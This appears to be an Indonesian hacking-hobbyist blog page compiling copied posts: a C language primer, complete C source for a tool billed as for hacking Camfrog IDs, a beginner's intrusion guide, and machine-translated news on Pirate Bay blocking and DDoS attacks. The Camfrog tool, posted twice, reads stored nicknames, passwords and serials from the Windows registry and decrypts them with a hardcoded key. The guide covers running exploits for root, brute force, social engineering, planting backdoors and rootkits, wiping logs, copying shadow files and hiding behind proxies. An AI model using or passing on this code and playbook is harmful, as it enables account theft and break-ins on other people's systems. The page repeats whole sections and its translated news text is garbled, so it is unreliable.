Senin, 21 Mei 2012
[Basic] Cepat Mahir Bahasa C
Copas dari ilmukompi, buat sticky thread
NB: Bahasa C adalah bahasanya para hacker, So sebelum kamu menjadi hacker pelajarilah bahasa mereka, yaitu C
Boleh dikatakan bahwa akar dari bahasa C adalah bahasa BCPL yang dikembangkan oleh Martin Richards pada tahun 1967. Kemudian berdasar pada bahasa BCPL ini Ken Thompson yang bekerja di Bell Telephone Laboratories (Bell Labs) mengembangkan bahasa B pada tahun 1970. Saat itu bahasa B telah berhasil diimplementasikan di komputer DEC PDP-7 dengan operating system (OS) UNIX. Pada tahun 1972, peneliti lain di Bell Labs bernama Dennis Ritchie menyempurnakannya menjadi bahasa C.
Pada tahun 1978, Dennis Ritchie bersama dengan Brian Kernighan mempublikasikan buku yang kemudian menjadi legenda dalam sejarah perkembangan bahasa C, yang berjudul The C Programming Language. Buku ini diterbitkan oleh Prentice Hall, dan pada saat ini telah diterjemahkan dalam berbagai bahasa di dunia. Boleh dikatakan bahwa buku ini adalah buku yang paling banyak direfer orang dan dijadikan buku panduan tentang pemrograman bahasa C sampai saat ini. Teknik dan gaya penulisan bahasa C yang merefer kepada buku ini kemudian terkenal dengan sebutan K&R C atau
Classic C atau Common C.
Seiring dengan berkembang pesatnya bahasa C, banyak vendor mengembangkan kompiler C menurut versi masing-masing. Hal ini menggerakkan ANSI (American National Standards Institute) pada tahun 1983 untuk membuat suatu komite yang kemudian diberi nama X3J11, yang betujuan untuk membuat definisi standar bahasa C yang lebih modern dan komprehensif, dengan memperbaiki syntax dan grammar bahasa C. Usaha ini berhasil diselesaikan 5 tahun kemudian, yaitu ditandai dengan lahirnya standard ANSI untuk bahasa C yang kemudian terkenal dengan sebutan ANSI C pada tahun 1988.
Mengapa Memakai Bahasa C ?
Sampai saat ini, bahasa C telah berhasil digunakan untuk mengembangkan berbagai jenis permasalahan pemrograman, dari level operating system (unix, linux, ms dos, dsb), aplikasi perkantoran (text editor, word processor, spreadsheet, dsb), bahkan sampai pengembangan sistem pakar (expert system). Kompiler C juga telah tersedia di semua jenis platform komputer, mulai dari Macintosh, UNIX, PC, Micro PC, sampai super komputer.
C bisa disebut bahasa pemrograman tingkat menengah (middle level programming language). Arti tingkat (level) disini adalah kemampuan mengakses fungsi-fungsi dan perintah-perintah dasar bahasa mesin/hardware (machine basic instruction set). Semakin tinggi tingkat bahasa pemrograman (misalnya: java), semakin mudahlah bahasa pemrograman dipahami manusia, namun membawa pengaruh semakin berkurang kemampuan untuk mengakses langsung instruksi dasar bahasa mesin. Demikian juga sebaliknya dengan bahasa pemrograman tingkat rendah (misalnya: assembler), yang semakin sulit dipahami manusia dan hanya berisi perintah untuk mengakses bahasa mesin.
Dalam perspektif mudahnya dipahami manusia, C bisa digolongkan dalam bahasa tingkat tinggi, namun C juga menyediakan kemampuan yang ada pada bahasa tingkat rendah, misalnya operasi bit, operasi byte, pengaksesan memori, dsb. Beberapa alasan mengapa memakai bahasa C adalah terangkum dibawah:
1. C adalah bahasa pemrograman yang paling populer saat ini
Dengan banyaknya programmer bahasa C, membawa pengaruh semakin
mudahnya kita menemukan pemecahan masalah yang kita dapatkan
ketika menulis program dalam bahasa C. Pengaruh positif lain adalah
semakin banyaknya kompiler yang dikembangkan untuk berbagai
platform (berpengaruh ke portabilitas).
2. C adalah bahasa pemrograman yang memiliki portabilitas tinggi
Program C yang kita tulis untuk satu jenis platform, bisa kita kompile dan jalankan di platform lain dengan tanpa ataupun hanya sedikit perubahan. Ini bisa diwujudkan dengan adanya standarisasi ANSI untuk C.
3. C adalah bahasa pemrograman dengan kata kunci (keyword) sedikit
Kata kunci disini adalah merupakan fungsi ataupun kata dasar yang
disediakan oleh kompiler suatu bahasa pemrograman. Hal ini membawa
pengaruh semakin mudahnya kita menulis program dengan C. Pengaruh
lain dari sedikitnya kata kunci ini adalah proses eksekusi program C yang
sangat cepat. C hanya menyediakan 32 kata kunci seperti terangkum
dibawah:
Code:_____________________________________________________
auto | break | case | char | const | continue | default |
do | double | else | enum | extern | float | for |
goto | if | int | long | register | return | short |
signed | sizeof | static | struct | switch | typedef | union |
unsigned | void | volatile | while |
_____________________________________________________
4. C adalah bahasa pemrograman yang fleksibel
Dengan menguasai bahasa C, kita bisa menulis dan mengembangkan
berbagai jenis program mulai dari operating system, word processor,
graphic processor, spreadsheets, ataupun kompiler untuk suatu bahasa
pemrograman.
5. C adalah bahasa pemrograman yang bersifat moduler
Program C ditulis dalam routine yang biasa dipanggil dengan fungsi.
Fungsi-fungsi yang telah kita buat, bisa kita gunakan kembali (reuse)
dalam program ataupun aplikasi lain.
_______________________________________________________
Struktur Program Bahasa C
Program bahasa C adalah suatu program terdiri dari satu atau lebih fungsi-fungsi. Fungsi utama dan harus ada pada program C yang kita buat adalah fungsi main(). Fungsi main() ini adalah fungsi pertama yang akan diproses pada saat program di kompile dan dijalankan, sehingga bisa disebut sebagai fungsi yang mengontrol fungsi-fungsi lain. Karena struktur program C terdiri dari fungsi-fungsi lain sebagai program bagian (subroutine), maka bahasa C biasa disebut sebagai bahasa pemrograman terstruktur. Cara penulisan fungsi pada program bahasa C adalah dengan memberi nama fungsi dan kemudian dibuka dengan kurang kurawal buka { dan ditutup dengan
kurung kurawal tutup }.
Fungsi-fungsi lain selain fungsi utama bisa dituliskan setelah atau sebelum fungsi utama dengan deskripsi prototype fungsi pada bagian awal program. Bisa juga dituliskan pada file lain yang apabila kita ingin memakai atau memanggil fungsi dalam file lain tersebut, kita harus menuliskan header filenya, dengan preprocessor directive #include. File ini disebut file pustaka (library file). Untuk lebih jelas tentang struktur program bahasa C ini, Sperti keterangan dibawah ini:
Code:________________________________________________________
#include -----> Processor directive
fungsi_lain(); -----> Prototype fungsi lain
main()
{
Statemen
}
untuk main(){ statemen } = fungsi utama
fungsi_lain()
{
Statemen
}
untuk fungsi_lain(){ statemen } = fungsi lain
_____________________________________________________________
Proses Pembuatan Program C
Proses pembuatan program dengan menggunakan bahasa C adalah:
1. Tulis source code program bahasa C dengan menggunakan text
editor, kemudian simpan dalam sebuah file.
Text editor disini bisa merupakan aplikasi notepad atau editplus pada
windows, untuk operating system unix/linux kita bisa menggunakan
aplikasi emacs yang cukup terkenal.
2. Kompile file yang berisi source code program bahasa C.
Kompilasi atau kompile (compile) adalah suatu proses merubah source
code ke bahasa mesin sehingga bisa dieksekusi (executable) atau
dijalankan. Banyak sekali kompiler bahasa C yang ada saat ini, baik yang
gratis maupun yang kita harus membeli untuk menggunakannya. Untuk
memudahkan proses belajar bahasa C, penulis memberikan rekomendasi
untuk menginstall Cygwin (www.cygwin.com) bagi yang menggunakan
operating system Windows. Cygwin adalah satu set free software yang
dikembangkan oleh Redhat, yang berisi koleksi aplikasi dan tools UNIX
yang didesain khusus untuk bisa dijalankan di Windows. Kebutuhan akan
kompiler (GCC, GNU C Compiler) dan shell (Bash Shell) untuk membuat
program C bisa kita dapatkan dengan menginstall Cygwin ini.
3. Jalankan program yang telah dikompile.
Setelah kita kompile file yang berisi source code, maka sebagai hasil
kompilasi tersebut kita akan mendapatkan suatu file yang bisa dijalankan
(executable file). Menjalankan program yang kita buat berarti
menjalankan file hasil proses kompilasi tersebut.
Source Info : IndonesiaHacker
Coding Hacking Camfrog ID
neh source code buat hack ID camfrog
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <openssl/aes.h>
typedef uint8_t u8;
#ifdef WIN32
#include <windows.h>
int camfrog_enum(void);
#endif
#define VER "0.2"
#define BUFFSZ 2049
#define KEYPATH "Software\\Camfrog\\Client"
#define CLSIDKEY "Software\\Microsoft\\Windows\\CurrentVersion\\Tel ephony"
u8 hex2byte(u8 *hex);
u8 *camfrog_pwd(u8 *pwd, u8 *clsid);
int main(int argc, char *argv[]) {
u8 *pwd,
*clsid = NULL;
setbuf(stdout, NULL);
fputs("\n"
"CamFrog passwords decrypter "VER"\n"
"by budhie73\n"
"e-mail: budhie73@gmail.com\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s [encoded_data] [PhDeviceCLSID]\n"
"\n"
" this tool can be used to decrypt any encrypted value located in the Camfrog\n"
" registry keys like Serial, ActivationData and any password\n"
"\n"
" PhDeviceCLSID is the value located in the following registry key:\n"
" HKCU\\Software\\Microsoft\\Windows\\CurrentVersion \\Telephony\\PhDeviceCLSID\n"
" this value is required if you want to decrypt a custom ActivationData key\n"
"\n", argv[0]);
#ifdef WIN32
printf("- start registry scanning:\n\n");
if(!camfrog_enum()) {
printf("- no Serial, ActivationData or passwords found in the registry\n\n");
}
printf("Press RETURN to quit\n");
fgetc(stdin);
#else
exit(1);
#endif
} else {
pwd = strdup(argv[1]);
if(argc > 2) clsid = strdup(argv[2]);
printf(" decrypted data: %s\n", camfrog_pwd(pwd, clsid));
}
return(0);
}
#ifdef WIN32
int regkey(HKEY hKey, LPCTSTR lpSubKey, LPTSTR lpValueName, u8 *buff, int len) {
HKEY key;
buff[0] = 0;
if(RegOpenKeyEx(hKey, lpSubKey, 0, KEY_READ, &key) != ERROR_SUCCESS) {
return(-1);
}
if(RegQueryValueEx(key, lpValueName, NULL, NULL, buff, (void *)&len) != ERROR_SUCCESS) {
RegCloseKey(key);
return(-1);
}
RegCloseKey(key);
return(0);
}
int camfrog_enum(void) {
HKEY key;
int len,
k,
tot;
u8 regbuff[BUFFSZ],
clsidbuff[BUFFSZ],
buff[BUFFSZ],
*p;
tot = 0;
if(RegOpenKeyEx(HKEY_CURRENT_USER, KEYPATH, 0, KEY_READ, &key)) return(tot);
p = regbuff + sprintf(regbuff, "%s\\", KEYPATH);
for(k = 0; ; k++) {
len = BUFFSZ;
if(RegEnumKeyEx(key, k, p, (void *)&len, NULL, NULL, NULL, NULL)) break;
strcat(p, "\\ProfileInfo");
if(!regkey(HKEY_CURRENT_USER, regbuff, "ActivationData", buff, sizeof(buff))) {
if(!buff[0]) continue;
if(regkey(HKEY_CURRENT_USER, CLSIDKEY, "PhDeviceCLSID", clsidbuff, sizeof(clsidbuff)) < 0) {
printf("- ActivationData found but no PhDeviceCLSID, so I can't decrypt it\n");
continue;
}
printf(" ActivationData: %s\n\n", camfrog_pwd(buff, clsidbuff));
tot++;
}
if(!regkey(HKEY_CURRENT_USER, regbuff, "Serial", buff, sizeof(buff))) {
if(!buff[0]) continue;
printf(" Serial: %s\n\n", camfrog_pwd(buff, NULL));
tot++;
}
if(!regkey(HKEY_CURRENT_USER, regbuff, "Nickname", buff, sizeof(buff))) {
if(!buff[0]) continue;
printf(" nickname: %s\n", buff);
if(regkey(HKEY_CURRENT_USER, regbuff, "Password", buff, sizeof(buff)) < 0) continue;
printf(" password: %s\n\n", camfrog_pwd(buff, NULL));
tot++;
}
}
printf("- \"Nickname List\\Item\" scanning:\n\n");
for(k = 0; ; k++) {
sprintf(regbuff, "%d", k);
if(regkey(
HKEY_CURRENT_USER,
KEYPATH "\\CurrentVersion\\ProfileInfo\\Nickname List\\Item", regbuff,
buff, sizeof(buff)) < 0) break;
switch(k % 3) {
case 0: printf(" nickname: %s\n", buff); break;
case 1: printf(" password: %s\n", camfrog_pwd(buff, NULL)); break;
case 2: printf(" ??? %s\n\n", camfrog_pwd(buff, NULL)); break;
}
tot++;
}
RegCloseKey(key);
return(tot);
}
#endif
u8 hex2byte(u8 *hex) {
static const u8 hextable[256] =
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x00\x00\ x00\x00\x00\x00"
"\x00\x0a\x0b\x0c\x0d\x0e\x0f\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x0a\x0b\x0c\x0d\x0e\x0f\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00";
return((hextable[hex[0]] << 4) | hextable[hex[1]]);
}
u8 *camfrog_pwd(u8 *pwd, u8 *clsid) {
AES_KEY aes_ctx;
int i,
pwdlen,
clsidlen;
static const u8 key[16] = "CamFrogMCU DLL01";
for(i = 0; pwd[i << 1]; i++) {
pwd[i] = hex2byte(pwd + (i << 1));
}
pwdlen = i;
if(clsid) {
for(i = 0; clsid[i << 1]; i++) {
clsid[i] = hex2byte(clsid + (i << 1));
}
clsidlen = i;
for(i = 0; i < pwdlen; i++) {
pwd[i] ^= clsid[i % clsidlen];
}
}
AES_set_decrypt_key(key, sizeof(key) << 3, &aes_ctx);
for(i = 0; i < pwdlen; i += 16) {
AES_decrypt(pwd + i, pwd + i, &aes_ctx);
}
pwd[i] = 0;
return(pwd);
}
Source : indonesianhacker
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <openssl/aes.h>
typedef uint8_t u8;
#ifdef WIN32
#include <windows.h>
int camfrog_enum(void);
#endif
#define VER "0.2"
#define BUFFSZ 2049
#define KEYPATH "Software\\Camfrog\\Client"
#define CLSIDKEY "Software\\Microsoft\\Windows\\CurrentVersion\\Tel ephony"
u8 hex2byte(u8 *hex);
u8 *camfrog_pwd(u8 *pwd, u8 *clsid);
int main(int argc, char *argv[]) {
u8 *pwd,
*clsid = NULL;
setbuf(stdout, NULL);
fputs("\n"
"CamFrog passwords decrypter "VER"\n"
"by budhie73\n"
"e-mail: budhie73@gmail.com\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s [encoded_data] [PhDeviceCLSID]\n"
"\n"
" this tool can be used to decrypt any encrypted value located in the Camfrog\n"
" registry keys like Serial, ActivationData and any password\n"
"\n"
" PhDeviceCLSID is the value located in the following registry key:\n"
" HKCU\\Software\\Microsoft\\Windows\\CurrentVersion \\Telephony\\PhDeviceCLSID\n"
" this value is required if you want to decrypt a custom ActivationData key\n"
"\n", argv[0]);
#ifdef WIN32
printf("- start registry scanning:\n\n");
if(!camfrog_enum()) {
printf("- no Serial, ActivationData or passwords found in the registry\n\n");
}
printf("Press RETURN to quit\n");
fgetc(stdin);
#else
exit(1);
#endif
} else {
pwd = strdup(argv[1]);
if(argc > 2) clsid = strdup(argv[2]);
printf(" decrypted data: %s\n", camfrog_pwd(pwd, clsid));
}
return(0);
}
#ifdef WIN32
int regkey(HKEY hKey, LPCTSTR lpSubKey, LPTSTR lpValueName, u8 *buff, int len) {
HKEY key;
buff[0] = 0;
if(RegOpenKeyEx(hKey, lpSubKey, 0, KEY_READ, &key) != ERROR_SUCCESS) {
return(-1);
}
if(RegQueryValueEx(key, lpValueName, NULL, NULL, buff, (void *)&len) != ERROR_SUCCESS) {
RegCloseKey(key);
return(-1);
}
RegCloseKey(key);
return(0);
}
int camfrog_enum(void) {
HKEY key;
int len,
k,
tot;
u8 regbuff[BUFFSZ],
clsidbuff[BUFFSZ],
buff[BUFFSZ],
*p;
tot = 0;
if(RegOpenKeyEx(HKEY_CURRENT_USER, KEYPATH, 0, KEY_READ, &key)) return(tot);
p = regbuff + sprintf(regbuff, "%s\\", KEYPATH);
for(k = 0; ; k++) {
len = BUFFSZ;
if(RegEnumKeyEx(key, k, p, (void *)&len, NULL, NULL, NULL, NULL)) break;
strcat(p, "\\ProfileInfo");
if(!regkey(HKEY_CURRENT_USER, regbuff, "ActivationData", buff, sizeof(buff))) {
if(!buff[0]) continue;
if(regkey(HKEY_CURRENT_USER, CLSIDKEY, "PhDeviceCLSID", clsidbuff, sizeof(clsidbuff)) < 0) {
printf("- ActivationData found but no PhDeviceCLSID, so I can't decrypt it\n");
continue;
}
printf(" ActivationData: %s\n\n", camfrog_pwd(buff, clsidbuff));
tot++;
}
if(!regkey(HKEY_CURRENT_USER, regbuff, "Serial", buff, sizeof(buff))) {
if(!buff[0]) continue;
printf(" Serial: %s\n\n", camfrog_pwd(buff, NULL));
tot++;
}
if(!regkey(HKEY_CURRENT_USER, regbuff, "Nickname", buff, sizeof(buff))) {
if(!buff[0]) continue;
printf(" nickname: %s\n", buff);
if(regkey(HKEY_CURRENT_USER, regbuff, "Password", buff, sizeof(buff)) < 0) continue;
printf(" password: %s\n\n", camfrog_pwd(buff, NULL));
tot++;
}
}
printf("- \"Nickname List\\Item\" scanning:\n\n");
for(k = 0; ; k++) {
sprintf(regbuff, "%d", k);
if(regkey(
HKEY_CURRENT_USER,
KEYPATH "\\CurrentVersion\\ProfileInfo\\Nickname List\\Item", regbuff,
buff, sizeof(buff)) < 0) break;
switch(k % 3) {
case 0: printf(" nickname: %s\n", buff); break;
case 1: printf(" password: %s\n", camfrog_pwd(buff, NULL)); break;
case 2: printf(" ??? %s\n\n", camfrog_pwd(buff, NULL)); break;
}
tot++;
}
RegCloseKey(key);
return(tot);
}
#endif
u8 hex2byte(u8 *hex) {
static const u8 hextable[256] =
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x00\x00\ x00\x00\x00\x00"
"\x00\x0a\x0b\x0c\x0d\x0e\x0f\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x0a\x0b\x0c\x0d\x0e\x0f\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00";
return((hextable[hex[0]] << 4) | hextable[hex[1]]);
}
u8 *camfrog_pwd(u8 *pwd, u8 *clsid) {
AES_KEY aes_ctx;
int i,
pwdlen,
clsidlen;
static const u8 key[16] = "CamFrogMCU DLL01";
for(i = 0; pwd[i << 1]; i++) {
pwd[i] = hex2byte(pwd + (i << 1));
}
pwdlen = i;
if(clsid) {
for(i = 0; clsid[i << 1]; i++) {
clsid[i] = hex2byte(clsid + (i << 1));
}
clsidlen = i;
for(i = 0; i < pwdlen; i++) {
pwd[i] ^= clsid[i % clsidlen];
}
}
AES_set_decrypt_key(key, sizeof(key) << 3, &aes_ctx);
for(i = 0; i < pwdlen; i += 16) {
AES_decrypt(pwd + i, pwd + i, &aes_ctx);
}
pwd[i] = 0;
return(pwd);
}
Source : indonesianhacker
teori belajar hacking buat pemula
1. Fase Persiapan
~ Mengumpulkan informasi sebanyak-banyaknya
- Secara Aktif : - portscanning
- network mapping
- OS Detection
- application fingerprinting
Semua itu bisa dilakukan menggunakan toolz tambahan seperti nmap atau netcat
- Secara Pasif : - mailing-list (jasakom, newbie_hacker, hackelink, dsb)
- via internet registries (informasi domain, IP Addres)
- Website yang menjadi target
2. Fase Eksekusi
~
Setelah mendapatkan informasi, biasanya akan didapatkan informasi
mengenai OS yg digunakan, serta port yang terbuka dengan daemon yg
sedang berjalan. Selanjutnya mencari informasi mengenai vulnerability
holes (celah kelemahan suatu program) dan dimanfaatkan menggunakan
exploit (packetstromsecurity.org, milw0rm, milis bugtraq, atau mencari
lewat #IRC).
~ Mengekspolitasi Vulnerability Holes
- compile eksploit -> local host ->
$gcc -o exploit exploit.c
$./exploit
# hostname (# tanda mendapatkan akses root)
remote host -> $gcc -o exploit exploit.c
$./exploit -t www.target.com
# (klo beruntung mendapatkan akes root)
~ Brute Force
- Secara berulang melakukan percobaan otentifikasi.
- Menebak username dan password.
- Cracking password file
~ Social Engineering
- Memperdayai user untuk memeberi tahu Username dan password
- Intinya ngibulin user….
3. Fase Setelah Eksekusi
~ Menginstall backdoor, trojans, dan rootkit
~ Menghapus jejak dengan memodifikasi file log agar tidak dicurigai admin
~ Menyalin /etc/passwd atau /etc/shadow/passwd
Nah,
intinya seh cara masuk ke server seseorang seperti fase diatas. Mencari
informasi, temukan exploit, dan tinggalkan backdoor. Cuma masalahnya
hacking bukanlah segampang cara-cara diatas. Itu hanyalah teori, banyak
hal yang harus diperhatikan jika ingin mempraketekkan hacking ke server
seseorang. Jangan sekali-kali mencoba2 hacking ke server orang tanpa
memperhatikan anonimitas (apalagi klo connectnya lewat komputer pribadi
tanpa menggunakan proxy). Ntar klo ketahuan bisa repot. Saran gue,
cobalah pada mesin localhost dulu (komputer pribadi), klo terhubung ke
LAN lebih bagus. Sediakan server yang khusus buat dioprek. Kalaupun pun
ga terhubung ke jaringan, kita masih bisa menggunakan Virtual Machine
menggunakan VMWare
untuk tools'a bisa nyari di
http://sectools.org/
ato mungkin wat yg suka game hacker ni da game bagus
hacker evolution...
Source : Ibhh
~ Mengumpulkan informasi sebanyak-banyaknya
- Secara Aktif : - portscanning
- network mapping
- OS Detection
- application fingerprinting
Semua itu bisa dilakukan menggunakan toolz tambahan seperti nmap atau netcat
- Secara Pasif : - mailing-list (jasakom, newbie_hacker, hackelink, dsb)
- via internet registries (informasi domain, IP Addres)
- Website yang menjadi target
2. Fase Eksekusi
~
Setelah mendapatkan informasi, biasanya akan didapatkan informasi
mengenai OS yg digunakan, serta port yang terbuka dengan daemon yg
sedang berjalan. Selanjutnya mencari informasi mengenai vulnerability
holes (celah kelemahan suatu program) dan dimanfaatkan menggunakan
exploit (packetstromsecurity.org, milw0rm, milis bugtraq, atau mencari
lewat #IRC).
~ Mengekspolitasi Vulnerability Holes
- compile eksploit -> local host ->
$gcc -o exploit exploit.c
$./exploit
# hostname (# tanda mendapatkan akses root)
remote host -> $gcc -o exploit exploit.c
$./exploit -t www.target.com
# (klo beruntung mendapatkan akes root)
~ Brute Force
- Secara berulang melakukan percobaan otentifikasi.
- Menebak username dan password.
- Cracking password file
~ Social Engineering
- Memperdayai user untuk memeberi tahu Username dan password
- Intinya ngibulin user….
3. Fase Setelah Eksekusi
~ Menginstall backdoor, trojans, dan rootkit
~ Menghapus jejak dengan memodifikasi file log agar tidak dicurigai admin
~ Menyalin /etc/passwd atau /etc/shadow/passwd
Nah,
intinya seh cara masuk ke server seseorang seperti fase diatas. Mencari
informasi, temukan exploit, dan tinggalkan backdoor. Cuma masalahnya
hacking bukanlah segampang cara-cara diatas. Itu hanyalah teori, banyak
hal yang harus diperhatikan jika ingin mempraketekkan hacking ke server
seseorang. Jangan sekali-kali mencoba2 hacking ke server orang tanpa
memperhatikan anonimitas (apalagi klo connectnya lewat komputer pribadi
tanpa menggunakan proxy). Ntar klo ketahuan bisa repot. Saran gue,
cobalah pada mesin localhost dulu (komputer pribadi), klo terhubung ke
LAN lebih bagus. Sediakan server yang khusus buat dioprek. Kalaupun pun
ga terhubung ke jaringan, kita masih bisa menggunakan Virtual Machine
menggunakan VMWare
untuk tools'a bisa nyari di
http://sectools.org/
ato mungkin wat yg suka game hacker ni da game bagus
hacker evolution...
Source : Ibhh
Kamis, 17 Mei 2012
High Court Ordered ISP's To Block The Pirate Bay in U.K.
Microsoft bulan lalu telah memblokir Pirate Bay link di Windows Live Messenger, sekarang Pengadilan Tinggi memerintahkan untuk secara ketat memblokir Pirate Bay di Inggris Sky, Lain-mana-mana, TalkTalk, O2 dan Virgin Media dan ISP lain dari Inggris harus harus mencegah pengguna mereka dari mengakses situs. Sebuah ISP keenam, BT, meminta "beberapa minggu" untuk mempertimbangkan posisi mereka mengenai pemblokiran situs. Pirate Bay dianggap sebagai tracker bittorrent terbesar di dunia & geser situs file host link untuk men-download musik gratis kebanyakan bajakan dan video.
"Situs seperti The Pirate Bay menghancurkan pekerjaan di Inggris dan merusak investasi di seniman Inggris yang baru," kata Industri Phonographic Inggris (BPI). CEO BPI Geoff Taylor mengatakan: "Pengadilan Tinggi telah mengkonfirmasi bahwa The Pirate Bay melanggar hak cipta dalam skala besar operator Its memenuhi kantong-kantong mereka dengan mengeksploitasi secara komersial musik dan karya kreatif lainnya tanpa membayar sepeser pun kepada orang-orang yang menciptakan mereka..
"Sebagai ISP yang bertanggung jawab, Virgin Media mematuhi perintah pengadilan yang ditujukan kepada perusahaan tetapi sangat percaya bahwa perubahan perilaku konsumen untuk mengatasi pelanggaran hak cipta juga membutuhkan alternatif hukum yang menarik, seperti kesepakatan kami dengan Spotify, untuk memberikan konsumen akses ke konten yang besar di bagian kanan harga. "- Kata Virgin Media.
-Source : -bbc
"Situs seperti The Pirate Bay menghancurkan pekerjaan di Inggris dan merusak investasi di seniman Inggris yang baru," kata Industri Phonographic Inggris (BPI). CEO BPI Geoff Taylor mengatakan: "Pengadilan Tinggi telah mengkonfirmasi bahwa The Pirate Bay melanggar hak cipta dalam skala besar operator Its memenuhi kantong-kantong mereka dengan mengeksploitasi secara komersial musik dan karya kreatif lainnya tanpa membayar sepeser pun kepada orang-orang yang menciptakan mereka..
"Sebagai ISP yang bertanggung jawab, Virgin Media mematuhi perintah pengadilan yang ditujukan kepada perusahaan tetapi sangat percaya bahwa perubahan perilaku konsumen untuk mengatasi pelanggaran hak cipta juga membutuhkan alternatif hukum yang menarik, seperti kesepakatan kami dengan Spotify, untuk memberikan konsumen akses ke konten yang besar di bagian kanan harga. "- Kata Virgin Media.
-Source : -bbc
Pirate Bay & WikiLeaks Goes Offline After Prolonged Denial of Service Attack
File situs berbagi yang paling populer dan kontroversial "The Pirate Bay" menghadapi penolakan didistribusikan berkepanjangan layanan yang mengganggu layanan. Di halaman resmi Facebook mereka menegaskan serangan itu. Serangan DDoS meninggalkan lokasi sebagian besar tidak dapat diakses selama 24 jam terakhir, dengan hanya layanan intermiten di Inggris. The Pirate Bay turun ke halaman Facebook untuk mengkonfirmasi serangan itu, mengatakan bahwa itu tidak tahu siapa yang berada di belakangnya, meskipun itu punya kecurigaan perusahaan. Ada awalnya spekulasi bahwa serangan terhadap The Pirate Bay dimulai sebagai aksi balas dendam oleh hacker Anonim kolektif setelah anggota The Pirate Bay mengkritik Anonymous untuk mengorganisir serangan DDoS pada penyedia layanan Inggris internet (ISP) Virgin Media untuk memblokir akses ke The Pirate Bay. The Pirate Bay mengatakan, bagaimanapun, bahwa Anonim adalah tidak dapat dipersalahkan atas serangan terhadap situs tersebut.
Sementara itu, anggota Anonim mantan dengan nama AnonNyre telah mengaku bertanggung jawab atas DDoSing situs Pirate Bay. Tidak ada bukti meskipun mengkonfirmasi bahwa AnonNyre sebenarnya di balik serangan.
Tidak hanya TPB, tetapi juga Wikileaks website resmi menghadapi penolakan besar didistribusikan serangan layanan yang menghambat situs selama 72 jam. Menurut twitter resmi Wikileaks "WikiLeaks telah berada di bawah serangan DDOS berkelanjutan selama 72 jam terakhir ..."
Ini bukan pertama kalinya, sebelum ini Wikileaks telah menghadapi serangan cyber dan anggota Anonim mengambil tanggung jawab itu Serangan terhadap situs Wikileaks. Waktu itu penyerang melaksanakan Denial of Service besar saat menggunakan alat baru dikembangkan # refref. Dalam sebuah laporan ekslusif oleh Corero Jaringan keamanan mengatakan serangan terhadap situs Wikileaks adalah salah satu serangan DDoS terbesar yang pernah terjadi pada tahun 2011. Tapi tetap tidak jelas apakah ada hubungan antara dua insiden.
Sementara itu, anggota Anonim mantan dengan nama AnonNyre telah mengaku bertanggung jawab atas DDoSing situs Pirate Bay. Tidak ada bukti meskipun mengkonfirmasi bahwa AnonNyre sebenarnya di balik serangan.
Tidak hanya TPB, tetapi juga Wikileaks website resmi menghadapi penolakan besar didistribusikan serangan layanan yang menghambat situs selama 72 jam. Menurut twitter resmi Wikileaks "WikiLeaks telah berada di bawah serangan DDOS berkelanjutan selama 72 jam terakhir ..."
